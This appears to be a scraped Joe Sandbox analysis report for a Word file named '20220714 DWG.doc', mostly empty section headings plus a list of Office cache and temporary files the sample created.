Joe Sandbox Signatures

Compliance

Software Vulnerabilities

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-{8A06192A-30A6-47D1-ADF8-054AC9F6B663}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSF-CTBL.FSF

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-{5D1B35F5-C171-4718-AE70-CD91AAB04010}.FSD

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSF-{0E1EEE64-E8C6-4E2A-9759-63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Glomet[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2264EBF3.htm

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6387B6EF.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\72919526.htm

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{3BCD92F0-1C3B-4D0C-AD4B-E4107D6CB424}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{2D922950-B6AB-4AD8-83F9-D5771B48C810}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{45930AE1-8162-4D9A-BE35-4DB39144DF11}.tmp

C:\Users\user\AppData\Local\Temp\{728775D7-78F7-46CF-AD44-B53E52FE2573}

C:\Users\user\AppData\Local\Temp\{925F4F9C-7A22-47FE-BE3A-D6DAAFE95668}

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\20220714 DWG.LNK

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

C:\Users\user\Desktop\~$220714 DWG.doc

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Statistics

System Behavior

Windows Analysis Report
20220714 DWG.doc